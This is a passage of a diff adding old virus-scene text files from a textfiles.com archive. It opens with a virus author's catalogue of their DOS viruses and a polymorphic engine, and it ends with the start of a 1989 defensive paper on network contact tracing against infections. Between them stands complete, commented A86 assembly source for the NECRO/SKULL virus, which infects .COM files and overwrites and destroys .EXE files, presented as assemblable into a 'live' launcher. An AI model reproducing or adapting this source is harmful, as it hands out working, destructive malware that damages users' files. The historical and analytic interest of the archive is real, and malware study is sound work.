bootsector and a virus. Instead of + keeping the original bootsector somewhere else on the disk, it just + overwrites the original bootsector. When an infected floppy is booted, + the virus installs itself in memory and then prints the message + "Non-System disk or disk error Replace and press a key when ready" on + the screen. Then it tries to boot again. One has to boot from another + disk or from harddisk to continue. But the virus will stay resident + in memory. Sometimes the virus will print the message "Hey man, I don't + wanna work. I'm too stoned right now..." on the screen when booting, and + the computer will then hang. + + +Cannabis 2 + + Unlike the previous version, this one is able to boot from the infected + disk, just like normal bootsectors. It doesn't contain the part that + writes the "Hey man..." message anymore. + + +Cannabis 3 + + This is a minor bug-fix of version 2. The previous versions had a serious + bug that they sometimes wrote to the wrong side of the floppy. + + +Pogue Mahone + + This one is the most famous virus of this collection. It is a resident + COM infecting virus. It's based on the last version of the Gotcha virus. + The most remarkable thing about this virus is that it uses the Mutation + Engine (MtE). The Mutation Engine is a small module written by "Dark + Avenger", which can be included in viruses to make them polymorphic. + This virus does not infect files matching the name CO*.COM (like + COMMAND.COM). When the virus becomes resident between 1:00 and 9:00 + it will play the song 'Streams of Whiskey' (by The Pogues!). On the first + of May it will play another song. + + +Redhair ANSI bomb + + This is not a virus but an ANSI bomb. Unlike most other bombs this one + does not destroy anything. This bomb is in fact both an ANSI picture and + a COM file. The COM file is infected with the MINI-117 virus. When the + ANSI bomb triggers (when the backslash key is pressed) it will rename + itself to X.COM and then execute X.COM. So the virus is then activated! + After that it changes it's name back to REDHAIR.ANS. + + +ANSI virus + + This is another program that uses ANSI techniques. It's not just an ANSI + bomb but an ANSI virus! Many people think ANSI viruses don't exist, but + this one proves them wrong. This one uses the same trick as Redhair, it's + at the same time an ANSI picture and a COM program. When activated, it + will overwrite one .ANS file in the directory with a copy of itself. It + adjusts the text in the virus to the victim's filename. + + +Legalize + + This is another virus that is based on Gotcha 17. It is a resident + COM and EXE infector. It doesn't infect CO*.*. The special thing about + this virus is that it will display a picture of a large green hemp leaf + when the virus becomes resident on fridays. After showing the picture, + the virus will ask the user a few questions about what he/she thinks + about legalizing cannabis. After this, the virus will quit to DOS. + The picture in the virus is packed with DIET to keep the virus small. + A few small bugs from Gotcha 17 are fixed in this virus, but unfortunatly + this virus has a new bug which causes some infected EXE programs to crash. + + +Coffeeshop 1 + + This one is based on Gotcha 17 and Legalize. Originally it was planned + to be a final bug-free version of Gotcha, but later I put the picture + routine from Legalize in it. Although it is based on Gotcha 17, a large + part of it has changed. It infects COM or EXE files when it is executed + or opened with DOS function 6C00h. It avoids to infect several known + programs that use a self-check (like most virus scanners). It also doesn't + infect several other files, like Windows files, files with internal + overlays etc. The virus doesn't use any undocumented features of DOS + anymore. I wanted it to be as compatible as possible. The picture routine + is also improved. It activates on fridays on a pseudo-random base when the + virus becomes resident. It will then show the big green hemp leaf and + after that it will continue with the original program (unlike Legalize). + + +Coffeeshop 2 + + This virus is very similar to the previous one, but with MtE included. + It only infects EXE files. At the time this virus was made a lot of + scanners claimed that they were able to detect MtE, but none of them + could detect this virus. + + +Coffeeshop 3 + + This one too is very similar to the previous ones. Like version 2, + this one is also highly polymorphic. But instead of using MtE, I wrote + the encrytion routine myself. It infects both COM and EXE files. + + +Coffeeshop 4 + + This is a minor bugfix of version 3. This one can also activate when + the virus is already resident. + + +Virus_for_Windows 1.4 + + This is a primitive non-resident virus that only infects Windows EXE + program. As far as I know this is the first known Windows virus. It + will try to infect all Windows EXE files in its directory. This virus + has a big problem, it is not able to execute the original program. + As a solution to this the virus will disinfect itself after infecting + the other programs. So one has to execute infected programs twice to + execute the original program. This virus will only infect programs which + have a big enough data-segment. + + +MK Worm + + This is not a real virus, but some simple kind of worm. It does not + infect programs in any way. Instead it will only copy itself to a few + other directories on the disk from which it was executed. Each variant + will have a different name and also their lenghts will be slightly + different. It can spread because many people are used to try out every + new executable file they get, and many people often use the command + 'COPY *.*'. + + +Cruncher 1.0 + + This is a virus that uses data-compression. It is a resident COM + infector, based on the Coffeeshop series. It compresses the victim file + after infection. So the virus will be compressed together with the + original program. The compression algorithm is the same as that of the + program 'Diet'. + + +Cruncher 2.0 + + This version also infects EXE files. + + +Cruncher 2.1 + + This version is almost equal to version 2.0 but this one asks permission + from the user before going resident. This feature changes it from a + naughty virus into a userfriendly automatic compression utility! + + +TPE 1.1 + + This is an OBJ module that can be linked to a virus to make it + polymorphic. It can be used in a similar way as the famous MtE + module. The encryption routine of TPE is taken from Coffeeshop + version 3/4. + + +TPE 1.2 + + This is a bugfix. The previous version often produced decryption + routines that didn't work on all processor types. + + +TPE 1.3 + + This is a another bugfix. This version is made fully relocatable + within a memory segment, which is very handy for non-resident + viruses. Also another incompatibility bug is fixed. + + +TPE 1.4 + + In this version the encryption/decryption algorithms are made more + complex. The previous versions could be detected by decrypting the + encrypted code. + + +PlayGame + + This is a semi-stealth multi-partite EXE-infector. This virus infects + the master bootsector of the harddisk when an infected program is + executed. The virus only uses stealth techniques when a known anti-virus + program is executed or at the 'DIR' command. The payload of this virus + is a little arcade game that the user can play for fun. It activates in + december after 21:00. + + +DOS-1 + + This is a simple non-resident COM infector. It uses only FCB function + calls, so it is compatible with all previous DOS versions, including + version 1.0. + + +Bosnia + + This is a variant of Coffeeshop 3/4, but with another picture routine. + The TPE 1.4 module is linked with this virus. + + +PCA virus + + This is a very simple overwriting virus. After infecting it shows a + picture of the mascotte of the dutch magazine "PC Active". The picture + inside the virus is compressed in a special way, to keep the virus + small. + + +============================================================================== + + Virus Characteristics List + + +ANSI keyboard remap-------------------+ +Polymorphic-------------------------+ | +Infects Windows EXE files---------+ | | +Infects EXE files---------------+ | | | +Infects COM files-------------+ | | | | +Memory Resident-------------+ | | | | | +Overwriting---------------+ | | | | | | +Bootsector virus--------+ | | | | | | | + | | | | | | | | + V V V V V V V V Length +--------------------------------------------------- +Gotcha 1 . . R C E . . . 732 +Gotcha 4 . . R C . . . . 607 +Gotcha 6 . . R C E . . . 879 +Gotcha 7 . . R C E . . . 881 +Gotcha 9 . . R C E . . . 906 +Gotcha 17 . . R C E . . . 627 +46 Virus . O . C . . . . 46 +Seventh Son 1 . . . C . . . . 350 +Seventh Son 2 . . . C . . . . 332 +Seventh Son 4 . . . C . . . . 284 +Little Brother 1 . . R . E . . . 299 +Little Brother 2 . . R . E . . . 307 +Little Brother 3 . . R . E . . . 321 +Tiny 126 . . R C . . . . 126 +Tiny 124 . . R C . . . . 124 +Tiny 124B . . R C E . . . 124 +Tiny 122 . . R C E . . . 122 +Mini 99 . . . C . . . . 99 +Mini 97 . . . C . . . . 97 +Mini 91 . . . C . . . . 91 +Mini 117 . . . C . . . . 117 +Mini 111 . . . C . . . . 111 +Cannabis 1 B O R . . . . . 512 +Cannabis 2 B O R . . . . . 512 +Cannabis 3 B O R . . . . . 512 +Pogue Mahone . . R C . . P . 3017+ +Redhair ANSI bomb . . . . . . . A - +ANSI virus . O . . . . . A 881 +Legalize . . R C E . . . 1781 +Coffeeshop 1 . . R C E . . . 1568 +Coffeeshop 2 . . R . E . P . 3792+ +Coffeeshop 3 . . R C E . P . 3000+ +Coffeeshop 4 . . R C E . P . 3000+ +Virus_for_Windows 1.4 . . . . . W . . 854 +MK Worm . . . . . . . . 715+ +Cruncher 1.0 . . R C . . . . 2092- +Cruncher 2.0 . . R C E . . . 4000- +Cruncher 2.1 . . R C E . . . 4800- +TPE 1.1 . . . . . . P . 1378 +TPE 1.2 . . . . . . P . 1355 +TPE 1.3 . . . . . . P . 1411 +TPE 1.4 . . . . . . P . 1637 +PlayGame B . R . E . . . 2000 +Dos-1 . . . C . . . . 184 +Bosnia . . R C E . P . 3112+ +PCA virus . O . C . . . . 342 + +; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� +; 컴컴컴컴컴컴컴�> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <컴컴컴컴컴컴컴� +; 컴컴컴컴컴�> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <컴컴컴컴컴� +; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� diff --git a/textfiles.com/virus/necro.a86 b/textfiles.com/virus/necro.a86 new file mode 100644 index 00000000..3e633da4 --- /dev/null +++ b/textfiles.com/virus/necro.a86 @@ -0,0 +1,395 @@ +; A86 SOURCE CODE for: +; +; ++===================================================++ +; || NECRO (A.K.A. 'SKULL' virus) || +; || The 666 byte Dual Replicator || +; || DEC 1992 by Primal Fury, Lehigh Valley, PA || +; ++===================================================++ +; -=Prepared for Crypt Newsletter 11=- +; +; Here's a virus that's actually two viruses in one. The main virus is a +; a direct action, appending .COM infector. It will search the system path +; for .COMs to infect, and may infect files on the path in preference to +; to those in the current directory (if no path is set, it stays in the +; current directory). Roughly one out of every eight infections (on a ran- +; dom basis) will be non-standard. In these infections, NECRO will toggle to +; an overwriting .EXE infector. +; +; +; This .EXE infector is composed of much of the same code as the +; COM infector -- the virus alternates between the two modes of infection +; using a 'master switch' which is hooked up to a simple randomization +; engine. The master switch, when thrown, trips a series of auxilliary +; switches which alter the virus' behavior. This saves on bytes and is +; therefore much better than having the virus drop an entirely independent +; .EXE overwriter. I hope to expand upon this 'self-programming' concept +; in future viruses. + +; Infected .COM's should function as intended after the viral code appended to +; them has finished doing its thing. But infected .EXE's are ruined. These +; (provided they are under about 64K in length) will, when executed, pass +; their illness on to the next uninfected .EXE within the current directory, +; displaying the following graphic & message: + +; 複栢栢栢栢複 +; 蔔栢栢꾼栢栢栢� +;査꾼栢栢栢栢栢栢� You cant execute this file: +;査栢栢께栢幡 � Its already dead! +; 栢栢栢께栢複蔔� +; 栢栢께三栢栢� +; 賽栢께輹꾼栢� +; 께硼� + +; SKULL will then return the baffled user to the DOS prompt. I leave it to +; your imagination to picture the consternation on the novice's face +; as he tries to isolate the source of this overwriting infection which +; seems to pop up again and again in different directories. A very +; observant user may notice a file length increase of exactly 666 bytes in +; infected .COM's. Infected .EXE's will not increase in length unless they +; are less than ~200 bytes to begin with. Note that overwritten .EXE's larger +; than 64K will fail to load and will be non-infectious. Like Popoolar +; Science, the virus renders these programs into a .COM-like in structure. +; DOS will NOT execute these files. In any case, the programs are ruined +; by SKULL. As of this release, NECRO avoids files that are read-only or +; hidden, so these files are be safe from the virus (for now...) + +; CREDITS: DARK ANGEL -- for his COM infector replicatory code. (D.A.) +; NOWHERE MAN -- for his VCL 1.0's path-searching routine. (N.M.) +; +; +; Except where noted, I have commented the code with the novice +; programmer in mind. In the places so noted, D.A.'s and N.M.'s com- +; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been +; left intact. + +; To assemble, use Isaacson's A86 to generate a .COMfile directly from +; this listing. You will have a live NECRO launcher. MASM/TASM +; compatible assemblers will require the addition of a declarative pair. +; +; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT, +; SCAN, or F-PROT 2.0x: +; [Necro] +; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0 + + + Start: db 0e9h ; jump to find_start + dw 0 + Find_start: call next ;common technique to allow virus to + next: pop bp ;find its own code. On exit, bp + sub bp, offset next ;points to start of code. + lea si, [bp+offset stuff] ;Prepare to restore orig. 3 bytes. + mov di, 100h ;push 100h, where all COMs start in + push di ;memory, & where control will be + ;returned to host file. + movsw ;restore the 3 bytes formerly relo- + movsb ;cated by the virus upon infection. + mov di,bp ;point DI to start of virus. + lea dx, [bp+offset dta] ;set new Disk Transfer Address, so + call set_dta ;virus won't fuck up original. + call search_files ;call path-search/infection routine. + jmp quit ;when done, return control to + ;host file. + + ;Nowhere Man's VCL 1.0 path search routine, slightly modified for + ;compatibility with Dark Angel's code, and with 'master infection-mode + ;switch' added. N.M.'s original comments have been retained for your + ;enlightenment. + +search_files: + mov bx,di ; BX points to the virus + push bp ; Save BP + mov byte ptr [bp+offset pathstore],'\' ;Start with a backslash + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp+offset pathstore+1] ; SI points to 64-byte buffer + int 021h + call traverse_path ; Start the traversal + +traversal_loop: + cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + mov ah,03Bh ; DOS change directory function + lea dx,[bp+offset pathstore+65] ; DX points to the directory + int 021h + + ;The Master Switch, tied whimsically to the system clock: + + mov ah,2ch ;DOS get system time. + int 21h ; + cmp dl,13 ;is 1/100th second > 13? + jg call_infector ;if so, stay in COM infector + ;mode (the default). + mov si,3 ;throw switch for EXE infect. + + ;back to Nowhere Man's code: + +call_infector: + push di + call find_files ; Try to infect a file. + pop di + jnc done_searching ; If successful, exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: + mov ah,03Bh ; DOS change directory function + lea dx,[bp+offset pathstore] ; DX points to old directory + int 021h + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not, exit + stc ; Set carry flag for failure + +at_least_tried: + pop bp ; Restore BP + ret ; Return to caller + +com_mask db "*.COM",0 ; Mask for all .COM files + + +traverse_path: + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: + lea si,[bx + ath_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes + +check_next_4: + lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +ath_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address + +found_subdir: + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp+offset pathstore+65] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer + +move_subdir: + lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: + xor si,si ; Zero SI to signal completion + +moved_one: + mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller + + + + ;O.K. -- Now here's an important 'architectural' point: The following + ;code (down to the next inset) will never be executed within the COM + ;appender (that viral code jumps over it). It will, however be the first + ;thing executed within overwritten EXE files. Why? Because in EXE infec- + ;tion mode, everything from EXFECT on down (but nothing previous) is + ;written over the beginning of the EXE host file. + + exfect: call next_two ;Here again we see the old trick + ;for pointing BP to start of + next_two: pop bp ;viral code. (possibly should + sub bp, offset next_two ;have been subroutined [?]). + mov si,3 ;throw master switch for EXE + ;infection, so infection code + ;below knows to use that mode! + lea dx,[bp+offset dta] ;set DTA: This would normally + call set_dta ;be utterly ridiculous (!) in an + ;overwriting virus but is used + ;here to maintain compatibility + ;with the infection code. + call find_files ;try to infect another EXE. + jmp prequit ;display message & quit to DOS. + + ;Now we're back to Dark Angel's code, expanded to save & restore file + ;date/time-stamp, and of course to accomodate the new EXE overwriting code + ;and infection-mode 'switching system'. This is where infection actually + ;takes place. + + find_files: + + push bp ;for compatibility with path-search. + mov ah, 4eh ;phunction phor phinding phirst phile + ;that phits phile-mask. + tryanother: + lea dx, [bx+com_mask] ;by default, look for a .COM extension. + cmp si, 3 ;is the EXE infector switch thrown? + jne short look ;if not go on, else qeue up '*.EXE' mask + lea dx, [bp+exemask] ;in place of '*.COM'. + + look: + xor cx, cx ;attribute mask - find only normal + int 21h ;attributes. + jnc open_file ;Have we run out of candidates in this + pop bp ;directory? If not go on, else return. + ret ;note: a candidate file matches the file + ;mask & has normal attributes. + open_file: + mov ax, 3D02h ;DOS open file function. + lea dx, [bp+offset dta+30] ;get file name out of DTA (put there + ;for us by the 4eh or 4fh function). + int 21h + xchg ax, bx + mov ah, 3fh ;read the first 3 bytes of file & put + lea dx, [bp+stuff] ;them in 'stuff' buffer, where we can + mov cx, 3 ;inspect them for previous infection. + int 21h + cmp si,3 ;is the EXE infector switch thrown? + jne short comcheck ;if not, use the COM file checker. + mov di,dx ;otherwise, check EXE for infection. + cmp byte ptr [di], 4dh ;is the first byte of the EXE an 'M'? + jne short searchloop ;no? then already fucked. Keep looking. + jmp infect_file ;otherwise let's infect it. + + comcheck: ;DARK ANGEL'S COMMENTS: + mov ax, word ptr [bp+dta+26] ;"ax = filesize + mov cx, word ptr [bp+stuff+1] ;jmp location + add cx, eov - find_start + 3 ;convert to filesize + cmp ax, cx ;if same, already infected + jnz short infect_file ;so quit out of here" + + searchloop: + call close ;close the file. + mov ah, 4fh ;DOS 'find next file' function. + jmp short tryanother ;go back up & try to find new victim. + + infect_file: + mov cx, word ptr [bp+dta+22] ;Read file date & time + mov dx, word ptr [bp+dta+24] ;stamps from DTA & store + push cx ;them for retrieval after + push dx ;infection is complete. + cmp si, 3 ;branch if this is to be + jne short comfect ;a COM infection. other- + ;wise, we now replicate the + ;EXE overwriting virus. + xor al, al ;go to the beginning of + call f_ptr ;the file. + mov ah, 40h ;write to file function. + mov cx, eov - exfect ;write EXFECT through EOV + lea dx, [bp+exfect] ;to the EXE file. [another + int 21h ;EXE is now our slave.] + jmp short finishfect ;now, finish up. + + comfect: ;COM infection routine. + ;SAYETH DARK ANGEL: + ;"Calculate the offset of the jmp. + sub ax, 3 ;ax = filesize - 3" + mov word ptr [bp+writebuffer], ax ;store jump offset in buffer. + xor al, al ;null AL (write will start + call f_ptr ;at byte 0 of file. move + ;file pointer there). + mov ah, 40h ;write to file function. + mov cx, 3 ;we'll write 3 bytes, namely + lea dx, [bp+e9] ;the contents of E9 buffer. + int 21h ;victim file now begins with + ;a jump to the viral code! + mov al, 2 ;now move file pointer to + call f_ptr ;the end of the victim file. + mov ah, 40h ;write to file again. + mov cx, eov - find_start ;Namely, write the main + lea dx, [bp+find_start] ;viral code. + int 21h ;virus is now appended to + ;the file. + finishfect: ;now to clean up a little. + pop dx ;get old file date/time- + pop cx ;stamp off of stack. + mov ax, 5701h ;DOS set file date/time + int 21h ;stamp. (Otherwise, they + ;would be left set to date + ;& time of infection). + pop bp ;path-searcher will want + ;it's old bit pointer back. + close: + mov ah, 3eh ;DOS close file function. + int 21h + ret ;return to CALL_INFECTOR. + + ;end of infection routine. + + primal db "싸택碌숯졻�졤侄奬�졚瑃�" ;an encrypted text + ;string, mainly here to pad appended virus length out to 666 + ;bytes. 'Tight Code' purists will shit a brick over this. + + ;the COM infector never uses the PREQUIT routine below. Only the EXFECT + ;routine (which is only used by the EXE overwriting virus, for reasons ex- + ;plained in the inset above EXFECT) jumps to it. It's the EXE infector's + ;message payload. PREQUIT uses a simple encryption/decryption mechanism + ;to keep the message hidden from file viewers & such. It may have been + ;better (albeit a bit costlier in speed & bytes) to encrypt the entire + ;virus (preferably, with polymorphic capabilities tossed in). I hope to + ;make this mod in my next variant. But for now, trojan programmers might + ;find this routine of interest: + + prequit: + lea si,[bp+offset msg] ;queue up message to be displayed. + mov cx,204 ;CX holds length of message. + + xorloop: ;loop will decrypt & display message. + lodsb ;load next byte of message into AL. + xor al,128 ;XOR the byte by our key. + mov ah,0eh ;BIOS 'teletype' write to screen (the + int 10h ;the character is already in AL). + loop xorloop ;loop until CX's # of bytes processed. + mov ax,4c00h ;exit to DOS function, will return + int 21h ;user to DOS prompt. + +; Here's the encrypted version of our 'can't execute' message. Note that +; this odd byte pattern may look suspicious to someone in the know using a +; file viewer, but then, so would the unencrypted file_masks and "PATH="! + + msg db "뜇젨젨\\[[[[[[[[\\뜇젨\[[[[[2[[[[[[[[뜇�^[2[[[[[[[[" + db "[[[[[]젨졭諪졼灑�졾袍辰輒좗僥�졿雩佯뜇�^[[[[[22[[[_" + db "젨�[젨젨�締졹任齬扼졽齬沈뜇젨[[[[[[22[[\\\[_뜇젨�[[" + db "[[22_2[[[[]뜇젨젨__[[22\^2[[[]뜇젨젨젨젨젨젨22]]]뜇" + +; D.A. SAYS: "Restore the DTA and return control to the original program + quit: mov dx, 80h ;Restore current DTA to + ;the default @ PSP:80h + set_dta: + mov ah, 1ah ;Set disk transfer address" + int 21h ;so, let it be written, + ret ;so, let it be done. + + f_ptr: mov ah, 42h ;DOS move file pointer + xor cx, cx ;DARK ANGEL: + cwd ;"equivalent to: xor dx, dx" + int 21h + ret + + exemask db "*.EXE",0 ;file-mask for EXEs. + + ; All commentary from here down is the DARKANGELMEISTER's. Hope you found + ; the code useful and/or informative. P.F. signing off... + + ; Original three bytes of the infected file + ; Currently holds a INT 20h instruction and a null byte + stuff db 0cdh, 20h, 0 + e9 db 0e9h + eov equ $ ; End of the virus + ; The following variables are stored in the heap space (the area between + ; the stack and the code) and are not part of the virus that is written + ; to files. + writebuffer dw ? ; Scratch area holding the + ; JMP offset + dta db 42 dup (?) + pathstore db 135 dup (?) diff --git a/textfiles.com/virus/net.hor b/textfiles.com/virus/net.hor new file mode 100644 index 00000000..b0cc7ca8 --- /dev/null +++ b/textfiles.com/virus/net.hor @@ -0,0 +1,378 @@ +Date: Thu, 16 Mar 89 20:56:18 +0100 +From: David Stodolsky + +Net Hormones: Part 1 - +Infection Control assuming Cooperation among Computers + +Copyright (c) 1989 David S. Stodolsky, PhD. All rights reserved. + +1. Abstract + +A new type of infection control mechanism based upon contact tracing is +introduced. Detection of an infectious agent triggers an alerting +response that propagates through an affected network. A result of the +alert is containment of the infectious agent as all hosts at risk +respond automatically to restrict further transmission of the agent. +Individually specified diagnostic and treatment methods are then +activated to identify and destroy the infective agent. The title "Net +Hormones" was chosen to indicate the systemic nature of this programmed +response to infection. + +2. Introduction + +A new type of infection control mechanism that is based upon network- +wide communication and that depends upon cooperation among computer +systems is presented. Neither diagnosis nor treatment is necessary for +the operation of the mechanism. The mechanism can automatically trigger +responses leading to effective containment of an infection. The +identification and destruction of the infectious agent is determined by +individual actions or programs. This permits a highly desirable +heterogeneity in diagnostic and treatment methods. + +Definition: "Hormone . . . 1: a product of living cells that circulate +in body fluids or sap and produces a specific effect on the activity of +cells remote from its point of origin; especially one exerting a +stimulatory effect on a cellular activity. 2: a synthetic substance +that acts like a hormone (Webster's new collegiate dictionary, 1976)." +The analogy here is between each network node or computer system and +the cell. In biological systems hormones attach to specialized +receptors on the cell surface resulting in cell activation. In the +system described here, a match between a code in a system archive and a +code delivered as part of an alerting message results in activation. +Alerting messages circulated electronically serve the role of hormones. + +Epidemiology has traditionally had three major approaches to the +control of infectious agents: + +:1 - Treatment of the sick (e. g., penicillin) + +:2 - Contact tracing (e. g., social-work notification programs, laws +forcing the reporting of certain diseases and of contacts of infected +persons) + +:3 - Prevention (e. g., vaccination, public information campaigns) + +In computer system terms: + +:1 - Treatment of infections (e. g., various programs and manually +installed patches and fixes) + +:2 - Contact tracing (e. g., software "recall", and other manual +operations) + +:3 - Prevention (e. g., various programs for blocking virus +replication, alerting users, and for logging suspicious events) + +Contact tracing has been neglected with computer systems, although it +could be argued it is much easier with computer systems than with +biological systems. Currently such tracing depends upon people reading +reports and determining if their system is subject to infection, +performing diagnostic tests, determining a treatment method, obtaining +software, and so on. This is chancy and time consuming, requiring most +often people with the highest level of expertise. As computers and +networks speed up, an infectious agent could spread through a network +in hours or minutes. "Once a virus has infected a large number of +computers on a network, the number of infected removable media elements +will begin to skyrocket. Eventually, if the virus continues to go +undetected, a stage is reached in which the probability of identifying +and recovering all of the infected media is virtually zero (McAfee, +1989)." An automated contact tracing system thus seems essential in the +future if infectious agents are to be controlled. + +3. Threats + +"The modification of an existing virus to incorporate a long term delay +(such as 6 months or even a year) coupled with a totally destructive +manipulation task (such as a FAT, Boot sector scribble followed by a +complete format) is a fairly simple task. Such an action would convert +even a crude virus strain such as the Lehigh 1 virus into a +devistating (sic) strain. (Eg the comment by Ken that the modified +version of the Lehigh virus is now far more dangerous due to +modification of the delay in activation of its manipulation task) +(Ferbrache, 1989)." + +Scott (1989) requested comments on: + +"A little future speculation here... currently we seem to be fighting a +losing battle against virus detection and as viruses improve it's +unlikely that that will change. If we want the capability to download +shareware, etc, from bulletin boards, etc, then we must assume that we +cannot check the software for a virus with 100% success before running +it. In general, you can't know the output of a program given the +input without running it, except in special cases. + +We can check for *known* viruses; but how long before shape-changing +and mutating viruses hit the scene that defeat all practical +recognition techniques?" + +An inapparent infection could spread rapidly, with damage noted only +much later. Consider a worm that is constructed to carry a virus. The +worm infects a system, installs the virus and then infects other nearby +systems on the net. Finally, it terminates erasing evidence of its +existence on the first system. The virus is also inapparent, it waits +for the right moment writes some bits and then terminates destroying +evidence of its existence. Later the worm retraces its path reads some +bits, then writes some bits and exits. The point is that an inapparent +infection could spread quite widely before it was noticed. It also +might be so hard to determine whether a system was infected or not, +that it would not be done until damage was either immanent or apparent. +This analysis suggests response to network-wide problems would best be +on a network level. + +4. Theory of operation + +Computers generate (in the simplest case) random numbers which are used +to label transactions. A transaction is defined as an interaction +capable of transmitting an infectious agent. After each transaction +both systems therefore have a unique label or code for that +transaction. In the event that a system is identified as infected, the +transaction codes which could represent transactions during which the +agent was transmitted are broadcast to all other computers. If a +receiving computer has a matching code, then that system is alerted to +the possibility of the agent's presence, and can broadcast transaction +codes accumulated after the suspect contact. This iterates the process, +thus identifying all carriers eventually. The effect is to model the +epidemiological process, thereby identifying all carriers through +forward and backward transaction tracking (Stodolsky, 1979a; 1979b; +1979c; 1983; 1986). + +5. The process of infection control + +The process can be broken down into routine and alerting operations. +During routine operations, each file transfer is labeled in a way that +does not identify the systems involved. These labels are time stamped +(or have time stamps encoded in them). They are written into archives +on each system, ideally write-once/read-many times devices or some +other type of storage that could not easily be altered. + +Alerting procedures are invoked when an infectious agent is noted or +when a suspect transaction code is received that matches one in the +system's archive. The earliest time the agent could have arrived at the +system and latest time (usually the moment the agent is noted or a +received suspect transaction code is matched) it could have been +transmitted from the system are used to delimit suspect transaction +codes. These codes are broadcast to alert other systems to the +potential presence of the agent. + +In the simplest and most common case, if a system gets an alert that +indicates, "You could have been infected at time one," then the system +automatically packages the transaction codes between time one and the +present time to generate a new alert indicating the same thing to other +systems with which it has had contact. + +Another automatic response could be to immediately cut off +communications in progress, thus reducing the risk of infection. A +further benefit of such a reaction would be the possibility of +disrupting the transfer of an infectious agent. Such a disrupted agent +would be harmless and easily identified and evaluated. Reestablishment +of communication could occur immediately with new procedures in force +that could warn new users that an alert was in progress as well as +limiting the type of transfers that could take place. + +5.1. Practical considerations + +Direct identification, as opposed to identification through forward +tracing notification, does not delimit effectively the earliest time +that an agent could have been present on a system. Thus an alert from +an originating system could include all transaction codes written prior +to the identification (or some default value). This could generate +excessive reaction on the network. This reaction could be controlled if +another system in a later alert indicated it had originated the +infection on the system originating the alert. Thus, protection of +identity which reduces any inhibition about reporting infection is +important. The type of reaction discussed here might be called a panic +reaction, because an excessive number of systems might be notified of +potential infection in the first instance. + +A more restricted response could be generated if persons at the alert +originating system analyzed the causative agent, thereby hopefully +establishing the earliest time the agent could have been present on +that system. In this case, the suspect transactions could be delimited +effectively and all systems that could have been infected would be +notified, as would the system that had transmitted the agent to the +system originating the alert (assuming one exists). Ideally, each +notified system would be able to determine if it had received or +originated the infection and respond accordingly. + +5.2. Forward tracing assumption + +Assume, however, that rapid response is desired. Each notified system +would then react as if it had been notified of an infection transmitted +to it. It would package the transaction codes that had been written +later than the suspect transaction code it had received and issue a +secondary alert. This forward tracing assumption would lead to quite +effective control because of the exponential growth in the number of +infected hosts in epidemics (and exponential growth of alerts resulting +>From forward tracing). That is, a system can infect many others as a +result of a single infective agent transmitted to it. Forward tracing +would alert all systems that the alerting system could have infected. +These newly alerted systems would also issue forward trace alerts, and +this would continue until containment was reached under the forward +tracing assumption. + +5.3. Backward tracing of suspect contacts and diagnosis + +As a result of this rapid forward tracing response, it is likely that +more active infections would be identified. The resulting new +information could be used to more effectively characterize the life +cycle of the agent, thereby hopefully permitting effectively delimited +backward tracing. Also as a result of accumulated information, positive +tests for the agent would become available. Once this stage had been +reached the focus of action could shift from control of suspect +transactions to control of transactions known to facilitate the +transmission of the agent. + +6. Feasibility and Efficiency + +Both technical and social factors play a key role in the operation of +the control mechanism. Contact tracing is probably most effective for +sparsely interacting hosts. The rate of transfer of the infectious +agent as compared to the rate of transfer of the suspect transaction +codes is also a critical factor. Recording of transactions can be +comprehensive on computer networks, however, unregistered transactions +will be a factor in most cases. Once the infectious agent has been +identified, the type of transactions capable of transmitting the agent +can be delimited. This could increase efficiency. + +6.1. Social organization of alerts + +Another major efficiency factor is errors in origination of alerts. +Since protected messages would trigger network-wide alerts, it is +important that false alarms are controlled effectively. On the other +hand, failure to report an infection could permit an infectious agent +to spread in an uncontrolled manner and could increase the number of +systems unnecessarily alerted. Successful operation of the mechanism +described above assumes voluntary cooperation among affected systems. +This assumption could be relaxed by application of an enforcement +mechanism. It would require substantially greater complexity and +greater centralization of coordination. In other words, if cooperation +was not forthcoming "voluntarily", users would likely be treated to a +complicated, restrictive, and resource intensive mechanism that would +be developed to enforce it. "Estimates of the damages inflicted by +November's Internet infection alone ranged upward of $100 million . . . +(McAfee, 1989)." Costs of this magnitude make it very likely that even +expensive enforcement mechanisms will be developed if they are made +necessary. + +The simplest organizational strategy would assume that protection of +identity was not needed, but this would also be likely to inhibit +alerting. True anonymity, however, permits irresponsible behavior to go +unchecked. A reputation preserving anonymity (pseudonymity) would be +desirable to ensure both protection and accountability and thereby +promote cooperation. Pseudonyms would best 